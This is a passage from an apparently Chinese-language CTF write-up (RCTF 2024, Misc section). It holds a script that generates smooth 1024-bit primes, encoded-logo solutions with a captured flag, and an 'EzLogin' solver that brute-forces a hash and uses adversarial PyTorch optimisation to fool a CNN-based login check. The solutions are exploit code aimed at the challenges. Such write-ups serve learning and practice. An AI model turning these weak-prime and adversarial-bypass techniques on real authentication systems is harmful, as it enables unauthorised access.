25217207898773872058392993862582128559368142586240739885887231565071549095557007983383538003076429625633388007006609772518828215710158546463325834722993360317439764023, 36721974683927754332415612175722245942263787206867785442203278257340132278489844945694154090339110234761285313866745915377091637725415902158594404316826326593616083567, 39538264001125845443619245489880966190060794759679070652060916604504545734945050709689082823762580673644059080140762101439767338241141955836530218141675420185537577647, 51728037890489835079092460940026125439272030750616367377789108761339915906791090880208832499435087299174985885549134515848579298885111551992240841035220041330901758947, 22614488432634788004923948594747228056075100390513604293679054234357931577003696041435292966691967571186358952575673086029252972585848656817625554729484030239378528884247, 45362939836691302853887166337065500155386469145057837011475840717665795269214291820749587805698031037719362713395502909250031857223843009362532679655936168110754664927379, 849814918319886717138661431149621799178119678283000668554305075351522241246555899253442303041903706662009232865636677948449041250486951531336512933228716644834846915889559, 2056092061780598244896244121473579756991500398385977058681807686559866669602737622841168955165885766339275621751418927531289784637560087539291423395397431624095584953206603, 5395260073315181826249003464832266995054098824790997967346730799306319134689189880027778358418831980638248605098574983832469094917107852717831314442278396739392192045540607, 6235298253066805301336465538946148380362313575190697982756472851856578278098191807429101505183495359927284901136586222871862872891808217684960781197457481349297293374208439, 7018068758274015691453617802291915765662000651721815268922564856038411823681732150076463707893434317963535236199094503108810443836821925362783825734442858059479955918822339, 38007116467451075274475908243888695877739191764678835919146304762818171283060777581872160234184373278046766325728688081090944054246499890056263407521405311032657028152189019, 46511537649341721989737662771636712020820248778706743272530224226174921866322880524522475656951174830650134936011908597840372616612484732504155241478900372025627919738053843, 56625693035210945510623164264621350706730124485348856469535451619115542825460713753316155757347707089731011262935239724703024321642788333467896009069370995481786901922898879, 36641167219133471451616560762593978473349740296426361288526141277830757788299648278195786722730847872665974561433131493781903786639806642804393623694329917481375831295436621799, 219714859468187522100421428264454917278370522929341118191536706370989154294248694519190321963630763036898992785700232092413869936342892874089814746304970959463998576326143188447, 309310260004847476447258678670011620534595714995994997324045011182052177612434965824486827665901979981202730243288616283232236190958471421488291563407056853863940660331920735503, 2304599763626973286928083059754979770203788981289001073657230702908409070008684667338286131856660658358718621745108460883015957452217076157276897173000834882892821872056818362527, 15260943173202194290519648128292290266793622591413298002364610679851874069240804529923984504210225109315611216533459361608548339050946039257567002533361136563419296049311546707383, 84360869984641322136493043638337153263225127537726036827080854802295615439178230464543732423590653319599362956903500661348007907541312468863475852701339778719095571360374191567943, 148616927549317502499537917401136604195439462146602406820238117067487689188222919928288148581311474251299289607010047758551207102165176464440656761891034774422381269619685548020747, 585514101024723060105161264050458741598396966298700521829024647187784163685934244890314805456867902418617629413834547329493016550045610626982628257159439912168880644186565846063327, 1493309172692006445465965361697884435396753506315967409338616144480438924791148282698744654644370213645001243338508478468454920457252440705095544892720475993415994507544691717121779, 2115627220068869658037253490551234793945458736335854122202109668544075745368623005093000023917379806540481714151031553833028325636880710095981740871468963948364319033933652131016683, 3121717523568514367263376127290719183993977824034636702698561658447347071289765134357446441416500046207523034710418503875736856910351606547005923557885825979660776698877313867324207, 4229227289236249379764621077285737860446790147285613675798073376997428943523008309673936179619384423081780215115563866385515522502728161486758453194435126732921882922267375345997979, 133952777517259630375741850915384302210545685484763027940244552138905088726441605630241156943921752523810795811624836811810564539139633615796734743382981837626243559475337078621546283, 8524370111396275410146978651094328079599834775558527573416937427819685164535149087507430056586587978881532303425362866630653622658580289990449013377312228071302748064842961987941518407, 24347150215373105181818180161816195414972145640294322053439916670346633258065852427701105791973875107691578572939392364470399627090473825395316707558579377184293229073934684301064103963, 85611418698340010988693597485222890940555071117374641415341615660520975763688056578502791558371938818211698379326013231926038989974588214117772774543018418747564192355188199854895886179, 153202803653316857156279840530331093920218242635306044965239127468125751466139606137121308315488967460083082654842493511194556394298733343233057201904449900879912427038786249531343870727, 857386074495556631620418749835339783612206918394642116588039890560344009007933990250668164225028774470795740526798140563104685416031961768132377445758631797884186068033190701222419287843, 870792060426790562272574968481976141203944518157343644908584073887923875381672210563925481124513563622700993531808492637331565389546064523710645178347499611626427725523483901383179572023, 1882549622494487317851939294867208817878912731387195978196369838982582355532576027016084510996182322680148082193724869756940766271841528746260028336115098727081902634942278528905360755619, 2804071041780362891136214413987732275653493277451603275821377359854358763878460641589199586571462149280816544923878415386047096186773592693865542731415685606183796415543049113901015705943, 4686202643530204705717991551169484128938903884458896087310972584753304282525227563772468577296267475207233035756324593807540140841263122714715738975885894864675422992728223043906117453143, 169470490954885142234979333551565630714267863788076757975872181036740061183398591371099798163460523140769150108976384450886055670780052981892605800303808606751718718990363882311343328367119, 4189000236005588865847363351380961869732202573849558992260497982883149291950004107743258354826481133903659168209941274484225667039797293080740425485576257582689202941857684238050982278973987, 12658217357465526279014271855488522938508929941473950286515961923042086074195501791658063384443100469815206393584387321288621234472575413373998021337959072267690730468109827252434435991920443, 78200665675255834168269015295022354793845520819163826077061112261047704251774441940523989509762722683075049783546944607249646961145967274203324731258700807369095675489266163088169761868893767, 133067221350366200682231760350247847949969723366889171870328691309754985144592861913576471422600516482399950233543770393765910415527977959552513002801677511887710432898490858142253911676784823, 7986220603735031139345284790204682570908032345034722673888079516685316964980564106762937659914903057652593191750657181127808569918711738253721282821262254326433336679700493783515940781107150863, 1090637293380448098924884024351619598781146693984806767819472265800029014525501842945502135988128126972997353053697882270981076212845383682630276435480905438858856971531956734073366887222265981159, 1538972007860451943680066618293809082785949694854288292695584790401887993059968714515760577343593126418639312077107589898780500788255617507002708807134120958013170585395998693518656472397118487047, 5027470369238027247139729897682246486248220853158139759106169155471987374405963629558295942086457460258622753100016571578597134425450216886478991297605513379820079973524249631058189928739030986639, 8781902460721247767802338933933538161014252125646869110765166199066809910008022446379815703911268550221054645662566677774388767878298094164514923600868159627321418722816703476039733669289328140467, 43628984347562046791010593632424398378435799849902439623161281866674910360483304132535293369782242768832603983850364533370839266452955862838877119865847142813573940035170369618027417077422526212899, 84715642147061027591423650517381095751936983118972124058646410576335205699285895048262443512574741221283504930294845664657816645301954778711943540568669948133438341037150207681546586155084719953203, 291494098510709774927762035969521442756462850230963923278201604275259660456102171996252459726411147487196037658075202013422896128137190370874225300304268458277586760326822005887446017228581092062003, 30551670450565815093282059948999080020134721292677167369025997329515748211080086500197116736964546280954145031926545765434619370673080124091843322675312802658830180818435154133874146002567383678321487, 165903425727404123510975471800029632580224612464023524721979591609441821995076842566952232574322451037042641635854040183164418049324429963027654925451253856899015871836063563658001274378022925061641883, 355005251933952753837577747286548600101945233110076657155326675672451864508300291618799391256681233798243182706950909335581923301929414532489056514759081319454850344027347244349138140709779654454888387, 535749962937749154583824479391659842017810286492028077059583911078480652335370719518226804402564622324489145164845527288105574707498731601146445787220886692248708509177226277013228185555694769393483763, 1607249888813247463751473438174979526053430859476084231178751733235441957006112158554680413207693866973467435494536581864316724122496194803439337361662660076746125527531678831039684556667084308180451287, 4630860528025775508898597017008515747781126123320177023479045591252917103382939116035331976464862402424200608295550153454491849150135219530066632251053358189014716803004602688556201285030578977413284027, 5673260837083875293730181926531754962877365419161783516555630458900043525399663542798246559675363863499799810406584588307109131932035840659433271027262072658492649146857505060212891978148048097194899403, 48186281365400043191323834751245084653925638148590609069264241543764069532874981255651121401116641457257747203987262571317905534598098840013391283298178535478241098127726035968531514107207973667323116599, 257155957927643421094638371896721596718561798835994890665196329683901373587450187687381215638742739276144925806361753703661272230871675929398806283775136290103371324264122332031020865191332433576591114759, 269184565193280061124392436736648021069058562223220038764600277304504427768574337094489272794683114430119054186097653604659621025313186969644619890237401991914143123683389514490312003341212492765480585839, 270415618606857016212572611021384040769753182879833565721729631860037264697039837422523479044815625017720084841306867665573408238020969123345821158189379142659769956606365270458540895728901842125944242323, 21834466384288235655356678080818724911340251571875186956851493396184537539660172816856706314358844287881045992576083962079512964146135854446065359695426834144544684272328392315571506421921265538499860994667, 169133855154349626634246852160345910353108877529157496993646190428473506244426785955776288079700245503044179099828090284204737057172004848324417226638146121501509365519143012664679155636483192134940588595663, 4454945686203855157698953010223717471953715934322817826746694169057835490016949657327893831877334668176813404542645666063592701177854092787345219415206127160032858515613427644901948864536150924175472719927419, 14796850380936423714000635647479231114629134265364993940694321931940650040485990066856946066629163240717175823982895152478556092904216727212867369470913585399664224018381774404749071645191270236384912251654739, 46118233796155603936339558713826760292109143669090663269867521933878513928492400952121586522144165568210151308443553866024181684994739117309353684365278815935896075380363282442986029259875354934624219675466183, 177557327364261283940034122927072480780560544488353260339187359437437412470411981807556543677535848448751452628092761810514155382476145734260576682632870032166560427105820886273048940184809824235584971964368439, 3446368741061925271712885865628039412447427813243819556352109896745547089049646821168178768305749708243514932073730987646462796922984514332495720413927024521407189571666451786586662375700028646418841039618663583, 11436736734420711692432808267875625677406979960313646165697766135010613826809512378729929793668831477433918287798167210341969523220286211144231964142210748500875050692257887427340373835925988936160540033028169483, 78200870093441049760092786888787596832138718122321703749787534553519569238480986248329831852194788853112133658741808671987154702407129212792365200820166673263847807675606875576259730491944366804704631987531084783, 155216761349916184258284734340875889796905399511090810462692802923610994275426795889171566418989779615867992867538325373281244214453584242083543751928255731341707372131466434235030041765005027703949159914918699279, 329022252516635411732619855947465153602027327125026716751286934569089892351099282506274049570941462631627289140186079349095553204730645587747001329364337810013535692896250905345437065960758381904767016532953411943, 849058542888099192560114932626149254537973539324693910834726598259287405452894572416691550181798009050296680057587795554364240977915602911826094022917878258977322809221123120701888567635361763663281442519575405659, 9491472477637962981573343242250713025396283944006508307264994981632063997795652907921193736203891109317667447778602549317618197141846147454671353924293292166728707362099328356488741149872400840443525386610959328307, 6235011392732869570732375607919081031107783680597799749057738606926759544688797719815797345662357269209262492464215162194125401276682115278214419420176798641330073416023797417265009345685603688970230879161420347447767, 25470551528259141851122712196754395683282160833137622522327748125966311035292655038124709285253297539072460761096852543655416228130536073780590261039332988365908702272877006028187676052749897690919726008695428332219927, 3449345659132955697830529990090317220657829070278974427876354432582194172504825939127609481691615884744279530768107719009871846326121353944859316478409011287896340957075347098464916753256788509469405161522098978402696463, 10465007534233807129239611300983218345981269928647055226191802359949630990087872307715467325592840770755054340941823514255958817846438389901450793680186658628593011052373643065099769121314859070630893821975755433251327943, 11368255321158692564276359104321097385194688418371559264881356311920754913705125996229427668436754980254137255175277595860212520380041209200987762021561977773383957337111770569757755985047704005669575825446030120823327739, 45299404378346426632274727718521662471442821034759920764692693522414518851922762156631636181141889211183456462894297924098687200745306274010691850008391502068072587249380307257145019628137672510761261174913835803450505783, 480572685334686261949988975554159809579799828989095710237702161983477775469336302100713796677423618461206217885212270652645276030037506725214063301932854452855360876111177644222262446283621693224890682220964618030836034097803, 1206062413027328289027894274142304555126821201563855110672679248363200944605698276414116152061664185413251581928591857284138101928040544915617915799968305960695109863499178045742640794254996938715894876152527101437498534661903, 127858970478294021491158205983893175420688087632074062158879947840815912269793348900226580781943610526475892003587343023647470885011678304138721599997640508876175800994815407289450941500687519327293622000550310129047828050261759, 298814557235787990438726872256995026355962731225720647325066033298825630911663456724482246323076693786997313958440512635165904479251708882501201720288618963642208827312616784213059881093488217004942086375826980498939705837213119, 3901056315475056477556675506775784992797639786908984708201948838148273116066306673828650145005332915219588707500131354718287098938438403282035112086774395052523990302884642871346078422727517168432254065601120192067856994601690947, 24747757834440131863313367138653610545545437258855551984562305134438230982570252307328175043058183923222042692118508807381605275595287841148524999550220552503909263271997609518361584428338318415149199407590963020709894926500557247, 255264140055379720894208946470161561823839464724078094373265359501989243636352117429487617311174565065155488085968925902552724206585444344838131860984826474455572993996339530930048359905889985044281473300462622165110929554730766167, 1194017321514227060166453282083104709792957837624766219809355179566875069559222014177902536247695025957718056048792584223639941823835815448542000066052498093506140948047601667450705423450984753033296944364741343548392918970728520303, 47125995348835963600670142136993606550745381222097488887425156801092471959151609506370799713033731255219044709222010281057250227421384466755418733194723656917048800773640869948970605675628924749697677949958670447540751749331456113899, 57370797566985005291634018359898712894758013543902784995185660884106772076323749142608882437430491868113250769151425727029339331260485004887945468606642586574840766761098598966175548840785851326814217842281300334293014195403769183683, 101802636485710737533323343893389637747341666996308874724413746225469431437318698488506598628223100999389878142850535289063948333153751270085979245000295967790305903476471505643793338859043100682305569769728084682872570824532958502543, 6284545765527511731931096365428274118070656276633225632889895580774768656194902362056947663696828025690650974950811316349009476946301318778018037609814887028114718973246754816692653029203841131914847671343768143319272554215783844926039, 95008922717070214784811548672622828934053213626940771931517689959142800405138995039869170540858659996006573609195224814158348315700216183039315091437297454269342505009063813086090307075667244167310742821319914356421377523419096832806819, 190415544078245381871488366719484224933619671550856607147337881271938788281002645143536504999421446194041428942147843481191721050564203293258406636207260042797564374661258638944846687205338472706669035303018856336732386791592711735865263, 6987007438127120376853000072819957711592460591594358424295941032009768619901323281922188700909827539401170487249200942256025058511238950613886873153784647706408640851704120461067208543026632113098933005085842654016645184336328122143242487, 51476714365435848596247610329222993301116745561902751159001134702126130062892445247608458313340718358432122135822095492214736625667154102110745746061993739647287663109864168703529520962208662711514517275976804861928161491581485473789177259, 1495676149378686278119460672575967918044051817196750298557593818831536138778673153042160284008447760663166888844115798386121115255512337195620701194436304092283493844049202018315548090687274459919278395712993521995376950159207594167480542827, 10704886654041512119983491775019001616897811051503698688959638036563141910122361369090521111884801588906966472605541324482633048636908404196260063134005254292260995800170292857601496582258065812187204551168974842798413638244904199124590063347, 98919025464002204713034748445606980348747133525452474751843092051105994070192235203065802578826813640216093199708006040368016782847434011766727414635385291424214201081737275379400497995414798749423380872598467713213466494221163059550587423199, 2096065547634025406490409372581817620219932919229855235304870710025509560902822735694088358635999062771294722078822871393897331302992032857440408004477109247667514199706414908210190832466793038519260614308810390708905055253470373293664014740299, 3457051644258394029694870262056130317122495264902578007985619394055569738656001479164574931427079815685734137223639150016359879971624894022755231066446441930648830120383406576548666555072349691575238013258499611127889964175216144792960107258087, 18784845694017060972217639401749280312692065651603365468646861354903169607964707047731926674386566660571891113620788432499194532223395553530756795784610115887216367534909105738352778877664508171658942226218354485486885348362717616372649288746279, 305663119000975780792469113742720729605058587889470013142399525250377208116886791129918604051449820082556139008638649026758036973277034513300250048516154573292580434419540696769872356266214248559842352200888206424945724954327264303310550557237139, 2017387673162981073491566940786826232639977854961048812219270949140183128233183670779825413870917077459565893136144009434142469585276218735175941980474062819010909726527907272473387690397305259956636526599490279185211589576891664960700535306682339, 3231700394462183060650403650082714836740952159813780177233177905205193521232204507261198488762879165587165081454946043137621371382701455786115092263828167597704349891692330411860087130902267147462170130068227323663228689156699481158445384806427987, 123018957335938196973576992831583375658657999348737564389336609512099381605387128314893072033825822251330589049836203273100204677132905719142750623938678697886420349827724531575251959378464063243946292180910110752110284085614568587551782327565335043, 540287551548586336335168147162982900814503621420213356700292444159144242747224684460619126976518083981164102856398708975537087228547372251522993635760776777738776309364783692190314140716773964747023661222712836421490642171304725060920110804992716787, 2354957417931694642247440782343436582960352385704516375656285732557825088082358097386163113501583348531695204180479597309845295823336965554839560089627936958048116215165423172796411124676694524578382979299070994358825195798843629762104729182265695143, 658850463832145333125945227615861927553257606298373395123320579734789609969100168721416755588064574007803087781462332483227939167486756244635578435758840340152543053150234422079752186905728723440399280707737649958828060653302684314306199533487770866487, 118807860699175821546261391806800929075596958969758340413977054870733647482767148117668468037478994384719495165483071195339589952470077197122820088895403211796839044617389494074822346248163416215911682041223167866577042912963627342526346034421668634596467, 156507603163507615191064224866932211151850106944484775995096550249134197539928008913567546968629055096885443944915709401215624390831421607635080333604137685148300785547005928276014803617046343257315665151215712231859736960240537696676857868273626699302879, 204238485600279154717525759294793361141479857399719713789527238038119399745343544954789205717089308580372305597171775827208217815473236876884894198799441988761400540229517528011498972070278079384491751870339271540058049601586717301724957403595149482023699, 88454162265377011577132938406948367901493027100540225924093715480939507852624631221828836766160862482521979241092881352959346851817057829985962147483983852657875570988056455716844477887946132819273188443632519168301683756237930069887795159641755830668483903, 120003525383886314085733807501170688013790478636364534317073251845186552888483103040196526602812400012423458515890029425627695555122651904176506477836191098454277160433050770386183711347335935412264486505586516329581641467560961716198149916267413653987027939, 128571253883923752596511021910539956534459869565066799386779570674290664225183751917164400052217365917253580404518944442154770724621934030239129646696407390524203927752180258957060786607733221922737494835489061121250160719434570257702731908270639050181871899, 225249479952619358245392482480554929096247831756514781135667509229473851357319141482304998071288113477402893544611376209178674165366251064734611240178408192824401536266082485437018503579148198683173847482833553926617033170468539108620993954194632267966726219, 34509759592392088373878579255625141819853922430225050999814276711206542277931123980973507601197902205681075043917808424990282321758912133384523232111251414515522597766911740080386038444568698389919296805651487121233128334040826717266224082997376453365089933767, 141331969871553126813965104224899205867641435692370808487845833307354370198320774014529452964583663888007319477174570937233320852167647775676014067935295488449176553523593531602363752658316000409966505702989547455311427649152424781819016769278667445012514455259, 490071603532913444490453775226303654229163645502349029642194691371320471385353777905149021550569926174957652969648684207696173528239412383887709307487981271529179377712514931760393858327093490874527289036240022450989545106220256171307694059812079312290487622023, 865446109849146771813723957375036404147199886081792857621108187091369313018152843214932521615473554145353219390500729493003439803598868353204990391481040097716639730087571686903721517699376913533195955196330916536548213342314543937930579966691208403768094471787, 12918282924762672814731504262742305738598909399067879212911667321819554849193610083151673944386444596042533347677007036972606142057919864813594689235471888266672252506396096622298448198767728342678703326987987151245413469359541186418522624267016355200159715328519, 386274020511604580660743953475919029685733871261058455469684506152503263952170294278009367589351356457189322850904577181340609518086799662998560731634555002452488912744937647271143870738496207494531281188383632664951040270959829616976223405484215954280532000654459, 34491801068896668827703062152779724148217639269730925069861618244151092762643017298099165178838847460740637172557257696272024896216441589841098360945998671909727988308569726989487544097779609880990654780762768572762030251256615225237503973891298702113894117227262867, 45343175093162301153281804170757835467476533856958741845952982520594220585934233607734648885541403173702313346972336601276233441231366213791976941828007489421693341717064125539009922110841258695136036826292462246373386617005288098545866388766172994504251012503634143, 671186725957049731506459376493042761647851694147192304737062906386504920677324854575871673478048755681950722170668982526856729653786371084202021437401574186269246946497776070637732438023559056036277845184103204839566452125644713238172610023984926329523367173669575067, 94147808232026477169482270774259043769655837835129945200860199689270899247957416106701977474012869485990725398105678119855619097151617936740659679030074599227717703800373545370947251089899235078583510674529133377177589165297842121607772907467749880910140021565355415199, 123113751338074304373884979489872566345767241660135606334736228379146946708429619480780398899016304554405115830749826017658293671383352375626304090532113235129174968024936793454855710522713640851827629873504982248937126401893895721281344052989742970653042353117754728563, 20186003272055972934920010683411700390524886601903014580674772405885979647978352284092862090979078682764116971451745757774263220768626524718134502961628259925847057285749456894727866374890571124815027930482217165574541024333280660150013012045501940361289101874296390697163, 388018402607695075981576895669214993441126999152359339823002581477832666039082357886397958512647442541947617221939167592691713756427791769065449353533149236434967784150662750847978574122584773424491466876272704689078337507801606841676561956970200698873525181237567073284407, 388649366851488873720699448631526172443502381377766962817779354967603110256118885754081876306320040121157300068454406297663893421371860528881758726595056633805456533720006418461078199035427199631509585398311885085706995744852332132990768061246513959105125144207398611509352287, 1239520962363924859673677308490209515777495247449183301055521234944453941036315775961504182801488501972939665669059668879626319428792400268837944922760930514053554207582214891825369069770180668310272371154705090969801591959963028806523415926709848050968088168893933515769537764387, 8692878025586264826223649011301445062691021422516943480746323694610687298359593200703002132418942948505552124485412244129561858791441474916700649326050432867153561494953208081019323820301705312593215062059233517716534031762575923914402013232182101853282791641846166137181028061562827, 3892156283158721179247303192748715492553720077609172195483347392950998677145183209068819676995053872440043385686917290494997051820939765549050228712210712855055348153269603204447100086013137370919826321134906587389442658017650206213360066587565582591144044459021453094347018484706906343, 9026216087000276996420376910475026808478068093286870591598805972224400693311373143854734904353206371331870344835969480761724245974075309851229301548135908328249197812305132620480908261665209121044432311357226668382525833053556937108453323663036501335492987285899810690067702182231385014425795139]
q = sorted(q)
bq = []

for i in q:
    bq.append(i.bit_length())

def max_index(i):
    for j in range(len(bq)):
        if bq[j] > i:
            return j-1

def gen_prime():
    mul = []
    t = prod(mul)
    while t.bit_length() < 1023-20:
        k = 1023-t.bit_length()
        if k < 980:
            ch = random.choice(q[:max_index(k)])
        else:
            ch = random.choice(q)
        if ch not in mul:
            mul.append(ch)
            t = prod(mul)
    diff = 1023-t.bit_length()
    idx = bq.index(diff)
    while q[idx] in mul:
        idx += 1
    mul.append(q[idx])
    p = 2*prod(mul)+1
    if p.bit_length() == 1024 and is_prime(p):
        print("ok")
        if is_lucky_prime(p):
            print(p)

is_lucky_prime = lambda num: bin(int.from_bytes(sha256(str(num).encode()).digest(), "big")).endswith("0" * 8)

while True:
    try:
        gen_prime()
    except Exception as e:
        # print(str(e))
        continue

#117353661412514613069282688082584925132377948349345806362604321996339365841667018988601040041333437989623935442902161720405684796897494419792801674474130628775565719049464883978519912135235162620297526175381369982501140330402449649759181598590462532869871322301564491710745606389802476958101554834354220977667
#107286555723753529963505846707143023148502715556050053710472278244440752333509442055750234627511752079217582310914656987953990641146965719894206580771843603293177453006262927567649207188385835253807707867800345239718307766365484280403958540283077467836891321413418638756258362892408085126623161135148575418579

Misc

Logo: Signin

logo = """
####################################################################################################
############################ # #####################################################################
####   ##       ########### ## ##          ###########                   ########             ######
####   ##           #########               ##########                   ######                  ###
####   ########       ########     ##########################    #############    ############    ##
####   ###########     ######    ###########   ##############    ############    ###################
###    #############    #####    ###########    #############    ############    ###################
###    ##############   ####    #############   #############   #############    ###################
###    ##############    ###    #############    ############   ##############     #################
###    ##############    ###   ###############   ############   ###############      ###############
###    ##############   ####   ###############   ############   #################      #############
###    #############    ####   ###############   ###########    ####################      ##########
###    ############    #####   ###############   ###########    ######################     #########
###    ####           ######   ##############    ###########    ########################     #######
###    ####         ########    #############    ###########    ##########################    ######
###    #########    #########   #############   ############    ##########################    ######
###    ##########    ########    ###########   #############    ##########################    ######
###    ###########    ########    #########    #############    #############    #########    ######
###    ############   #########     ######   ############       ###############     ####     #######
###   ############## ###########         ############                  #########           #########
#### ###############################  ##############################################    ############
####################################################################################################
""".strip()

直接复制Logo

Logo: 2024

虽然没在比赛结束之前解出来,但确实集合了许多队员的力量终于成功拿到flag

#payload
o=lambda s:' '*s;p=lambda s:'#'*s;n=m='';f=1;c=0x7c1585ed27dd8b9d76a4a0fa964badcbd508fdcbc374a5ffe6ce62b6f76c21090dac53f638da1a257ed16ccbdb17608474e636ee15e19cf3d67a21924556edd27f62db4f9bc0e2798a586d6cc04bf089bec61f30b93d1dea96323173515cabce9ddb422ea980397b085298c7e1599d85143c289ddeae5b45efff791feb2b25d5146c7a35c02a8365663bd8a
while c:m=m+o(c%27) if f&1 else m+p(c%27);f=1+f;c=c//27
m=p(128)+m+p(112)
while m:n=n+m[:100]+'\n';m=m[100:]
logo=n[:-1]
#RCTF{Encoding_master_cc4edac3b7f2}

#encoder
b = 0xffffffffffffffffffffffffffff0fffffffffffcfffffffefff800ff80001ffe00ffefffc7fe0f07fff01ffe3f07fc7ff87fc3fe1fff0fff87fc3fc3ff87fc3ffffff0fff8ffe1fe1ff87fc3ffffff0fff1fff1ff0ff87fc3ffffff0ffe1fff0ff00787fe0ffffff0ffe1fff8fc00787ff83fffff0ffe3fff8f87ff87ffc0fffff0ffe3fff8f0fff87fff81ffff1ffe3fff8f1fff87fffe07fff1ffe3fff8e1fff87ffff83fff1ffe1fff0e1fff87ffffe1fff1fff1fff0f1fff87ffffe1ffe1fff0ffe1f0fff87ffffe1ffe1fff8ffe1f83ff8fc3ffc3ffe1ffffff83fc07f8fe00007e00003ff0001ff0018ffc001fe00003ff801b7ff018ffffffffffffffffffaffffffffffffffffffffffffffffffff
#logo的二进制表示
ipt = bin(b)[2:]
c = 0
cnt = 0
bb = []#表示有连续的几个0或1
for i in ipt:
    if int(i) != c:
        c = int(i)
        bb.append(cnt)
        cnt = 1
    else:
       cnt += 1
bb.append(cnt)
#27进制保存
c = 0
for i in bb[2:-1]:
   tmp = i
   while tmp > 26:
    c = (c * 27) + 26
    c *= 27
    tmp -= 26
   c = (c * 27) + tmp
print(hex(c))

EzLogin

前面的hash通过简单爆破可以得到。

后面需要输入一个dist小于6的图像字节信息,这里的方法是使用每个字节不断循环变化从而减小dist,如果减小了则记录。以此不断变化不断减小直到小于6,即可获得flag。

import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np

# 定义 CNN 模型
class CNN(nn.Module):
    def __init__(self):
        super(CNN, self).__init__()
        self.conv1 = nn.Conv2d(1, 2, 3, padding=1)
        self.conv2 = nn.Conv2d(2, 8, 3, padding=1)
        self.conv3 = nn.Conv2d(8, 32, 3, padding=1)
        self.pool = nn.MaxPool2d(2, 2)
        self.fc1 = nn.Linear(32 * 3 * 3, 1024)
        self.fc2 = nn.Linear(1024, 512)
        self.fc3 = nn.Linear(512, 256)
        self.fc4 = nn.Linear(256, 128)
        self.fc5 = nn.Linear(128, 47)

    def forward(self, x):
        x = self.pool(self.conv1(x))
        x = self.pool(self.conv2(x))
        x = self.pool(self.conv3(x))
        x = x.view(-1, 32 * 3 * 3)
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = F.relu(self.fc3(x))
        x = F.relu(self.fc4(x))
        x = self.fc5(x)
        return x

# 加载模型
device = torch.device("cpu")
model = CNN().to(device)
model.load_state_dict(torch.load('model.pt.state', map_location=torch.device('cpu')))

# 预定义的特征向量
target_feature = torch.tensor([[-6.19499969e+01, -1.56200895e+01, -3.52624054e+01, -1.34233132e-01,
                               -6.48261490e+01, -1.47979248e+02, -5.15059547e+01, -1.14444227e+01,
                               4.33434563e+01,  -3.69645386e+01,  2.00579977e+00,  4.74611549e+01,
                               -6.33986130e+01, -1.57887411e+01, -2.87570419e+01, -5.35021248e+01,
                               -1.73028266e+00, -3.61370316e+01, -7.58331375e+01, -7.46535110e+01,
                               -7.24118347e+01, -4.76773834e+01,  6.51892662e+00, -5.07196846e+01,
                               -1.03041328e+02,  4.72574463e+01,  9.03826065e+01,  5.30947495e+01,
                               -5.03226738e+01, -1.50200531e+02, -3.46447792e+01, -4.23207245e+01,
                               6.44030609e+01,  -5.05351334e+01, -4.11206970e+01, -2.18300457e+01,
                               2.70750694e+01,  -1.00022865e+02,  3.77698517e+01, -3.60703392e+01,
                               -6.88536682e+01,  1.16945248e+01, -4.62400284e+01, -4.79546585e+01,
                               6.10636101e+01,  -1.12650543e+02, -1.34837357e+02]], dtype=torch.float32)

# 随机初始化图像
image = torch.rand((1, 1, 28, 28), dtype=torch.float32, requires_grad=True)
limit = 300
# 优化器
optimizer = torch.optim.Adam([image], lr=0.00001)

# 优化图像使其特征向量接近目标特征向量
step = 0
while True:
    step +=1
    optimizer.zero_grad()
    feature_new = model(image.to(device))
    loss = F.mse_loss(feature_new, target_feature)
    loss.backward()
    optimizer.step()
    
    # 计算特征向量之间的距离
    with torch.no_grad():
        optimized_image = (image.detach().cpu().numpy().squeeze() * 255).astype('uint8')
        img_new_tensor = torch.tensor(optimized_image.reshape(28, 28), dtype=torch.float32) / 255.0
        img_new_tensor = img_new_tensor.unsqueeze(0)
        feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
        dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))
        # print(dist_final)
    
    if step % 100 == 0:
        print(f"Step {step}, Loss: {loss.item()}, Distance: {dist_final}")
    
    if dist_final < limit:
        break

# 确保优化后的图像在距离小于6时输出

if dist_final < limit:
    optimized_image = (image.detach().cpu().numpy().squeeze() * 255).astype('uint8')
    # 输出图像字节信息
    bbb = optimized_image.tobytes()
    print(bbb)
else:
    print("Failed to reduce distance below 6")

# 重新计算优化后的图像特征向量和距离
model.eval()
with torch.no_grad():
    img_new_tensor = torch.tensor(optimized_image.reshape(28, 28), dtype=torch.float32) / 255.0
    img_new_tensor = img_new_tensor.unsqueeze(0)
    feature_new_final = model(img_new_tensor.to(device)).detach().cpu().numpy()
    dist_final = np.sqrt(np.sum((target_feature.numpy() - feature_new_final)**2))

print("Final Loss:", loss.item())
print("Distance:", dist_final)
bbb = b"\x00"*28*28
